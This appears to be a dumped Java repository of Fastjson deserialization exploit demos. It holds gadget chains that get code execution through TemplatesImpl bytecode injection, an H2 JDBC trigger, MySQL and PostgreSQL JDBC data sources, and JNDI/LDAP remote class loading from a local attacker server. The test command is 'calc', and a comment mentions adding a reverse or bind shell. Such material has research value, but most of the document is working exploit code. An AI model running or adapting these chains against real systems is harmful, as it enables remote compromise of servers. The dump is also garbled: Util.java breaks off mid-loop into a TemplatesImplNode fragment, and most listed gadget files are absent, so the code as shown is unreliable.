├── .gitignore
├── README.md
├── pom.xml
└── src
└── main
└── java
├── Fastjson4_DriverManagerDataSource.java
├── Fastjson4_DriverManagerDataSource_c3p0.java
├── Fastjson4_JdkDynamicAopProxy.java
├── Fastjson4_LdapAttribute.java
├── Fastjson4_MysqlDataSource.java
├── Fastjson4_ObjectFactoryDelegatingInvocationHandler.java
├── Fastjson4_PGSimpleDataSource.java
├── Fastjson4_ReferenceSerialized.java
├── common
├── ClassFiles.java
├── Reflections.java
└── Util.java
└── gadgets
├── BadAttrValExeNode.java
├── DriverManagerDataSourceNode.java
├── DriverManagerDataSourceNode_c3p0.java
├── HashMapNode.java
├── JSONObjectNode.java
├── JdkDynamicAopProxyNode.java
├── JsonArrayNode.java
├── LdapAttributeNode.java
├── MysqlDataSourceNode.java
├── ObjectFactoryDelegatingInvocationHandlerNode.java
├── PGSimpleDataSourceNode.java
├── ReferenceSerializedNode.java
└── TemplatesImplNode.java
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | !.mvn/wrapper/maven-wrapper.jar
3 | !**/src/main/**/target/
4 | !**/src/test/**/target/
5 |
6 | ### IntelliJ IDEA ###
7 | .idea/modules.xml
8 | .idea/jarRepositories.xml
9 | .idea/compiler.xml
10 | .idea/libraries/
11 | *.iws
12 | *.iml
13 | *.ipr
14 | .idea
15 |
16 | ### Eclipse ###
17 | .apt_generated
18 | .classpath
19 | .factorypath
20 | .project
21 | .settings
22 | .springBeans
23 | .sts4-cache
24 |
25 | ### NetBeans ###
26 | /nbproject/private/
27 | /nbbuild/
28 | /dist/
29 | /nbdist/
30 | /.nb-gradle/
31 | build/
32 | !**/src/main/**/build/
33 | !**/src/test/**/build/
34 |
35 | ### VS Code ###
36 | .vscode/
37 |
38 |
39 | ### Mac OS ###
40 | .DS_Store
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 参考文章:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q
2 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 | org.example
5 | FastjsonInDeserializationDemo
6 | 1.0-SNAPSHOT
7 | Archetype - FastjsonInDeserializationDemo
8 | http://maven.apache.org
9 |
10 |
11 | org.javassist
12 | javassist
13 | 3.19.0-GA
14 |
15 |
16 |
17 | com.mchange
18 | c3p0
19 | 0.9.5.5
20 |
21 |
22 | com.alibaba.fastjson2
23 | fastjson2
24 | 2.0.53
25 |
26 |
27 |
28 | com.alibaba
29 | fastjson
30 | 1.2.83
31 |
32 |
33 |
34 | com.h2database
35 | h2
36 | 1.4.200
37 |
38 |
39 |
40 | org.postgresql
41 | postgresql
42 | 42.3.1
43 |
44 |
45 |
46 | org.springframework
47 | spring-context
48 | 5.3.6
49 |
50 |
51 |
52 | mysql
53 | mysql-connector-java
54 | 5.1.47
55 |
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_DriverManagerDataSource.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | public class Fastjson4_DriverManagerDataSource {
5 | public Object getObject (String jdbc) throws Exception {
6 |
7 | Object node1 = DriverManagerDataSourceNode.makeGadget(jdbc);
8 | Object node2 = JsonArrayNode.makeGadget(2,node1);
9 | Object node3 = BadAttrValExeNode.makeGadget(node2);
10 | Object[] array = new Object[]{node1,node3};
11 | Object node4 = HashMapNode.makeGadget(array);
12 | return node4;
13 | }
14 |
15 | public static void main(String[] args) throws Exception {
16 | String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + Util.getDefaultTestCmd() +"\")\njava.lang.Thread.sleep(5000)";
17 | String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
18 | Object object = new Fastjson4_DriverManagerDataSource().getObject(jdbc);
19 | Util.runGadgets(object);
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_DriverManagerDataSource_c3p0.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | public class Fastjson4_DriverManagerDataSource_c3p0 {
5 | public Object getObject (String jdbc) throws Exception {
6 |
7 | Object node1 = DriverManagerDataSourceNode_c3p0.makeGadget(jdbc);
8 | Object node2 = JsonArrayNode.makeGadget(2,node1);
9 | Object node3 = BadAttrValExeNode.makeGadget(node2);
10 | Object[] array = new Object[]{node1,node3};
11 | Object node4 = HashMapNode.makeGadget(array);
12 | return node4;
13 | }
14 |
15 | public static void main(String[] args) throws Exception {
16 | String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + Util.getDefaultTestCmd() +"\")\njava.lang.Thread.sleep(5000)";
17 | String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
18 | Object object = new Fastjson4_DriverManagerDataSource_c3p0().getObject(jdbc);
19 | Util.runGadgets(object);
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_JdkDynamicAopProxy.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | import javax.xml.transform.Templates;
5 | import java.lang.reflect.InvocationHandler;
6 | import java.lang.reflect.Proxy;
7 |
8 | public class Fastjson4_JdkDynamicAopProxy {
9 | public Object getObject (String cmd) throws Exception {
10 |
11 | Object node1 = TemplatesImplNode.makeGadget(cmd);
12 | Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
13 | Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
14 | new Class[]{Templates.class}, (InvocationHandler)node2);
15 | Object node3 = JsonArrayNode.makeGadget(2,proxy);
16 | Object node4 = BadAttrValExeNode.makeGadget(node3);
17 | Object[] array = new Object[]{node1,node4};
18 | Object node5 = HashMapNode.makeGadget(array);
19 | return node5;
20 | }
21 |
22 | public static void main(String[] args) throws Exception {
23 | Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
24 | Util.runGadgets(object);
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_LdapAttribute.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | public class Fastjson4_LdapAttribute {
5 |
6 | public Object getObject ( String baseCtxURL,String rdn) throws Exception {
7 |
8 | Object node1 = LdapAttributeNode.makeGadget(baseCtxURL,rdn);
9 | Object node2 = JsonArrayNode.makeGadget(2,node1);
10 | Object node3 = BadAttrValExeNode.makeGadget(node2);
11 | Object[] array = new Object[]{node1,node3};
12 | Object node4 = HashMapNode.makeGadget(array);
13 | return node4;
14 | }
15 |
16 | public static void main(String[] args) throws Exception {
17 | Object object = new Fastjson4_LdapAttribute().getObject("ldap://127.0.0.1:1234/","StaticEvilClass");
18 | Util.runGadgets(object);
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_MysqlDataSource.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | public class Fastjson4_MysqlDataSource {
5 | public Object getObject(String jdbc) throws Exception {
6 |
7 | Object node1 = MysqlDataSourceNode.makeGadget(jdbc);
8 | Object node2 = JsonArrayNode.makeGadget(2,node1);
9 | Object node3 = BadAttrValExeNode.makeGadget(node2);
10 | Object[] array = new Object[]{node1,node3};
11 | Object node4 = HashMapNode.makeGadget(array);
12 | return node4;
13 | }
14 |
15 | public static void main(String[] args) throws Exception {
16 | String jdbc = "jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360";
17 | Object object = new Fastjson4_MysqlDataSource().getObject(jdbc);
18 | Util.runGadgets(object);
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_ObjectFactoryDelegatingInvocationHandler.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 | import org.springframework.beans.factory.ObjectFactory;
4 |
5 | import javax.xml.transform.Templates;
6 | import java.lang.reflect.InvocationHandler;
7 | import java.lang.reflect.Proxy;
8 | import java.util.HashMap;
9 | import java.util.Map;
10 |
11 | public class Fastjson4_ObjectFactoryDelegatingInvocationHandler {
12 |
13 | public Object getObject (String cmd) throws Exception {
14 |
15 | Object node1 = TemplatesImplNode.makeGadget(cmd);
16 | Map map = new HashMap();
17 | map.put("object",node1);
18 | Object node2 = JSONObjectNode.makeGadget(2,map);
19 | Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
20 | new Class[]{ObjectFactory.class}, (InvocationHandler)node2);
21 | Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
22 | Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
23 | new Class[]{Templates.class}, (InvocationHandler)node3);
24 | Object node4 = JsonArrayNode.makeGadget(2,proxy2);
25 | Object node5 = BadAttrValExeNode.makeGadget(node4);
26 | Object[] array = new Object[]{node1,node5};
27 | Object node6 = HashMapNode.makeGadget(array);
28 | return node6;
29 | }
30 |
31 | public static void main(String[] args) throws Exception {
32 | Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler().getObject(Util.getDefaultTestCmd());
33 | Util.runGadgets(object);
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_PGSimpleDataSource.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.*;
3 |
4 | public class Fastjson4_PGSimpleDataSource {
5 | public Object getObject ( String socketFactoryArg) throws Exception {
6 |
7 | Object node1 = PGSimpleDataSourceNode.makeGadget(socketFactoryArg);
8 | Object node2 = JsonArrayNode.makeGadget(2,node1);
9 | Object node3 = BadAttrValExeNode.makeGadget(node2);
10 | Object[] array = new Object[]{node1,node3};
11 | Object node4 = HashMapNode.makeGadget(array);
12 | return node4;
13 | }
14 |
15 | public static void main(String[] args) throws Exception {
16 | String socketFactoryArg = "http://127.0.0.1:8000/pgsql_bean_factory.xml";
17 | Object object = new Fastjson4_PGSimpleDataSource().getObject(socketFactoryArg);
18 | Util.runGadgets(object);
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/Fastjson4_ReferenceSerialized.java:
--------------------------------------------------------------------------------
1 | import common.Util;
2 | import gadgets.BadAttrValExeNode;
3 | import gadgets.HashMapNode;
4 | import gadgets.JsonArrayNode;
5 | import gadgets.ReferenceSerializedNode;
6 |
7 | public class Fastjson4_ReferenceSerialized {
8 | public Object getObject ( String className,String baseUrl) throws Exception {
9 |
10 | Object node1 = ReferenceSerializedNode.makeGadget(className,baseUrl);
11 | Object node2 = JsonArrayNode.makeGadget(2,node1);
12 | Object node3 = BadAttrValExeNode.makeGadget(node2);
13 | Object[] array = new Object[]{node1,node3};
14 | Object node4 = HashMapNode.makeGadget(array);
15 | return node4;
16 | }
17 |
18 | public static void main(String[] args) throws Exception {
19 | Object object = new Fastjson4_ReferenceSerialized().getObject("StaticEvilClass","http://127.0.0.1:8000/");
20 | Util.runGadgets(object);
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/common/ClassFiles.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 |
7 | public class ClassFiles {
8 | public static String classAsFile(final Class> clazz) {
9 | return classAsFile(clazz, true);
10 | }
11 |
12 | public static String classAsFile(final Class> clazz, boolean suffix) {
13 | String str;
14 | if (clazz.getEnclosingClass() == null) {
15 | str = clazz.getName().replace(".", "/");
16 | } else {
17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
18 | }
19 | if (suffix) {
20 | str += ".class";
21 | }
22 | return str;
23 | }
24 |
25 | public static byte[] classAsBytes(final Class> clazz) {
26 | try {
27 | final byte[] buffer = new byte[1024];
28 | final String file = classAsFile(clazz);
29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
30 | if (in == null) {
31 | throw new IOException("couldn't find '" + file + "'");
32 | }
33 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
34 | int len;
35 | while ((len = in.read(buffer)) != -1) {
36 | out.write(buffer, 0, len);
37 | }
38 | return out.toByteArray();
39 | } catch (IOException e) {
40 | throw new RuntimeException(e);
41 | }
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/common/Reflections.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 |
4 | import sun.reflect.ReflectionFactory;
5 |
6 | import java.lang.reflect.*;
7 | import java.util.ArrayList;
8 | import java.util.Arrays;
9 | import java.util.List;
10 |
11 | public class Reflections {
12 |
13 | public static Field getField(Class clazz,String fieldName) throws NoSuchFieldException {
14 |
15 | while (true){
16 | Field[] fields = clazz.getDeclaredFields();
17 | for(Field field:fields){
18 | if(field.getName().equals(fieldName)){
19 | return field;
20 | }
21 | }
22 | if(clazz == Object.class){
23 | break;
24 | }
25 | clazz = clazz.getSuperclass();
26 | }
27 | throw new NoSuchFieldException(fieldName);
28 | }
29 |
30 |
31 | public static Object getFieldValue(Object obj,String filedName) throws NoSuchFieldException, IllegalAccessException {
32 | Field field = getField(obj.getClass(),filedName);
33 | field.setAccessible(true);
34 | return field.get(obj);
35 | }
36 |
37 | public static void setFieldValue(Object obj,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException {
38 | Field field = getField(obj.getClass(),filedName);
39 | field.setAccessible(true);
40 | field.set(obj,value);
41 | }
42 |
43 | public static Method getMethod(Class clazz,String methodName,Class... paramTypes) throws NoSuchFieldException {
44 |
45 | while (true){
46 | Method[] methods = clazz.getDeclaredMethods();
47 | for(Method method:methods){
48 | if(method.getName().equals(methodName) && Arrays.equals(paramTypes, method.getParameterTypes())){
49 | method.setAccessible(true);
50 | return method;
51 | }
52 | }
53 | if(clazz == Object.class){
54 | break;
55 | }
56 | clazz = clazz.getSuperclass();
57 | }
58 | throw new NoSuchFieldException(methodName);
59 | }
60 |
61 |
62 | public static boolean hasField(Class clazz,String fieldName) {
63 | try {
64 | getField(clazz,fieldName);
65 | return true;
66 | }catch (Exception e){
67 | return false;
68 | }
69 | }
70 |
71 | public static Object newInstance(String className,Class paramType,Object param) throws Exception {
72 | return newInstance(Class.forName(className),paramType,param);
73 | }
74 |
75 | public static Object newInstance(String className,Class[] paramTypes,Object[] params) throws Exception {
76 | return newInstance(Class.forName(className),paramTypes,params);
77 | }
78 |
79 | public static Object newInstance(Class clazz,Class paramType,Object param) throws Exception {
80 | return newInstance(clazz,new Class[]{paramType},new Object[]{param});
81 | }
82 |
83 | public static Object newInstance(Class clazz,Class[] paramTypes,Object[] params) throws Exception {
84 | Constructor constructor = clazz.getDeclaredConstructor(paramTypes);
85 | constructor.setAccessible(true);
86 | return constructor.newInstance(params);
87 | }
88 |
89 | public static Object newInstanceWithOnlyConstructor(String className,Object... params) throws Exception {
90 | return newInstanceWithOnlyConstructor(Class.forName(className),params);
91 | }
92 |
93 | public static Object newInstanceWithOnlyConstructor(Class clazz,Object... params) throws Exception {
94 | Constructor[] constructors = clazz.getDeclaredConstructors();
95 | if(constructors.length > 1){
96 | throw new IllegalStateException("The number of construction methods is more than 1,can't use newInstanceWithOnlyConstructor");
97 | }
98 | Constructor constructor = constructors[0];
99 | constructor.setAccessible(true);
100 | return constructor.newInstance(params);
101 | }
102 |
103 | public static Object newInstanceWithoutConstructor(String className) throws Exception {
104 | return newInstanceWithoutConstructor(Class.forName(className));
105 | }
106 |
107 | public static T newInstanceWithoutConstructor(Class clazz) throws Exception {
108 | return newInstanceWithSpecialConstructor(clazz,Object.class,new Class[0],new Object[0]);
109 | }
110 |
111 | public static T newInstanceWithSpecialConstructor( Class clazz, Class constructorClass, Class>[] consArgTypes, Object[] consArgs) throws Exception {
112 | Constructor consTmpl = constructorClass.getDeclaredConstructor(consArgTypes);
113 | consTmpl.setAccessible(true);
114 | Constructor constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, consTmpl);
115 | constructor.setAccessible(true);
116 | return (T)constructor.newInstance(consArgs);
117 | }
118 |
119 |
120 | public static Method[] getGetterMethod(Class clazz) throws Exception{
121 | Method[] allMethods = clazz.getMethods();
122 | List methods = new ArrayList();
123 | for(Method method:allMethods){
124 | String name = method.getName();
125 | if(name.length()>3 && name.startsWith("get") && Character.isUpperCase(name.charAt(3)) &&
126 | method.getParameterCount()==0 ){
127 | methods.add(method);
128 | }
129 | }
130 | return (Method[]) methods.toArray(new Method[methods.size()]);
131 | }
132 |
133 |
134 | /**
135 | * 根据类名获取类,处理一些特殊情况
136 | */
137 | public static Class getClassByName(String className) throws ClassNotFoundException {
138 | Class clazz = null;
139 | className = className.replace("/",".");
140 | try {
141 | clazz = Class.forName(className);
142 | }catch (Exception e1){
143 | String newClassName;
144 | // 处理内部类的情况
145 | int[] positions = Util.findAllPositionsOfChar(className,'.');
146 | int len = className.length();
147 | for(int i=positions.length-1;i>=0;i--){
148 | int position = positions[i];
149 | newClassName = className.substring(0,position) + "$" + className.substring(position+1,len);
150 | try {
151 | clazz = Class.forName(newClassName);
152 |
153 | }catch (Exception e2){
154 |
155 | }
156 | }
157 | }
158 | if (clazz == null) throw new ClassNotFoundException(className);
159 |
160 | return clazz;
161 | }
162 |
163 | }
164 |
--------------------------------------------------------------------------------
/src/main/java/common/Util.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import java.io.*;
4 | import java.lang.reflect.Array;
5 | import java.lang.reflect.Constructor;
6 | import java.util.ArrayList;
7 | import java.util.HashMap;
8 | import java.util.List;
9 |
10 | public class Util {
11 |
12 | public static String getDefaultTestCmd(){
13 | String osName = System.getProperty("os.name");
14 | if (osName.startsWith("Mac")) {
15 | return "open /System/Applications/Calculator.app";
16 | }
17 | return "calc";
18 | }
19 |
20 | public static void writeObj2File(Object obj,String path) throws IOException {
21 | System.out.println("set obj to "+ path);
22 | FileOutputStream fileOut = new FileOutputStream(path);
23 | ObjectOutputStream out = new ObjectOutputStream(fileOut);
24 | out.writeObject(obj);
25 | out.close();
26 | fileOut.close();
27 | }
28 |
29 | public static Object readObj4File(String path) throws IOException, ClassNotFoundException {
30 | System.out.println("get obj for "+ path);
31 | FileInputStream fileInput = new FileInputStream(path);
32 | ObjectInputStream input = new ObjectInputStream(fileInput);
33 | return input.readObject();
34 | }
35 |
36 | public static void runGadgets(Object obj)throws Exception{
37 | byte[] ser = serialize(obj);
38 | deserialize(ser);
39 | }
40 |
41 | public static byte[] serialize(final Object obj) throws IOException {
42 | System.out.println("serialize obj: "+ obj.getClass().getName());
43 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
44 | final ObjectOutputStream objOut = new ObjectOutputStream(out);
45 | objOut.writeObject(obj);
46 | return out.toByteArray();
47 | }
48 |
49 | public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
50 | System.out.println("deserialize obj");
51 | final ByteArrayInputStream in = new ByteArrayInputStream(ser);
52 | final ObjectInputStream objIn = new ObjectInputStream(in);
53 | return objIn.readObject();
54 | }
55 |
56 |
57 | /**
58 | * 字节数组转16进制
59 | * @param bytes 需要转换的byte数组
60 | * @return 转换后的Hex字符串
61 | */
62 | public static String bytesToHex(byte[] bytes) {
63 | StringBuffer sb = new StringBuffer();
64 | for(int i = 0; i < bytes.length; i++) {
65 | String hex = Integer.toHexString(bytes[i] & 0xFF);
66 | if(hex.length() < 2){
67 | sb.append(0);
68 | }
69 | sb.append(hex);
70 | }
71 | return sb.toString();
72 | }
73 |
74 | /**
75 | * hex字符串转byte数组
76 | * @param hex 待转换的Hex字符串
77 | * @return 转换后的byte数组结果
78 | */
79 | public static byte[] hexToByteArray(String hex){
80 | int hexlen = hex.length();
81 | byte[] result;
82 | if (hexlen % 2 == 1){
83 | hexlen++;
84 | result = new byte[(hexlen/2)];
85 | hex="0"+hex;
86 | }else {
87 | result = new byte[(hexlen/2)];
88 | }
89 | int j=0;
90 | for (int i = 0; i < hexlen; i+=2){
91 | result[j]=(byte)Integer.parseInt(hex.substring(i,i+2),16);
92 | j++;
93 | }
94 | return result;
95 | }
96 |
97 | public static String join(String[] strings, String sep, String prefix, String suffix) {
98 | final StringBuilder sb = new StringBuilder();
99 | boolean first = true;
100 | for (String s : strings) {
101 | if (! first) sb.append(sep);
102 | if (prefix != null) sb.append(prefix);
103 | sb.append(s);
104 | if (suffix != null) sb.append(suffix);
105 | first = false;
106 | }
107 | return sb.toString();
108 | }
109 |
110 | public static String join(String[] strings, String sep) {
111 | final StringBuilder sb = new StringBuilder();
112 | boolean first = true;
113 | for (String s : strings) {
114 | if (! first) sb.append(sep);
115 | sb.append(s);
116 | first = false;
117 | }
118 | return sb.toString();
119 | }
120 |
121 | public static HashMap createSilenceHashMap(Object key1,Object value1,Object key2,Object value2) throws Exception {
122 | return createSilenceHashMap(new Object[]{key1,key2},new Object[]{value1,value2});
123 | }
124 |
125 | public static HashMap createSilenceHashMap(Object[] keys, Object[]values) throws Exception {
126 | HashMap map = new HashMap();
127 | Reflections.setFieldValue(map, "size", keys.length);
128 | Class nodeC;
129 | try {
130 | nodeC = Class.forName("java.util.HashMap$Node");
131 | }
132 | catch ( ClassNotFoundException e ) {
133 | nodeC = Class.forName("java.util.HashMap$Entry");
134 | }
135 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
136 | nodeCons.setAccessible(true);
137 | Object tbl = Array.newInstance(nodeC, keys.length);
138 | for(int i=0;i positions = new ArrayList<>();
151 | for (int i = 0; i < str.length(); i++) {
152 | if (str.charAt(i) == ch) {
153 | positions.add(i);
154 | }
155 | }
156 | int[] positionArray = new int[positions.size()];
157 | for(int i=0;i T createTemplatesImpl ( final String command, Class tplClass, Class> abstTranslet, Class> transFactory )
36 | throws Exception {
37 | final T templates = tplClass.newInstance();
38 |
39 | // use template gadget class
40 | ClassPool pool = ClassPool.getDefault();
41 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
42 | pool.insertClassPath(new ClassClassPath(abstTranslet));
43 | final CtClass clazz = pool.get(StubTransletPayload.class.getName());
44 | // run command in static initializer
45 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
46 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
47 | command.replace("\\", "\\\\").replace("\"", "\\\"") +
48 | "\");";
49 | clazz.makeClassInitializer().insertAfter(cmd);
50 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
51 | clazz.setName("ysoserial.Pwner" + System.nanoTime());
52 | CtClass superC = pool.get(abstTranslet.getName());
53 | clazz.setSuperclass(superC);
54 |
55 | final byte[] classBytes = clazz.toBytecode();
56 |
57 | // inject class bytes into instance
58 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
59 | classBytes, ClassFiles.classAsBytes(Foo.class)
60 | });
61 |
62 | // required to make TemplatesImpl happy
63 | Reflections.setFieldValue(templates, "_name", "Pwnr");
64 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
65 | return templates;
66 | }
67 |
68 | public static class Foo implements Serializable {
69 |
70 | private static final long serialVersionUID = 8207363842866235160L;
71 | }
72 | public static class StubTransletPayload extends AbstractTranslet implements Serializable {
73 |
74 | private static final long serialVersionUID = -5971610431559700674L;
75 |
76 |
77 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
78 |
79 |
80 | @Override
81 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
82 | }
83 | }
84 |
--------------------------------------------------------------------------------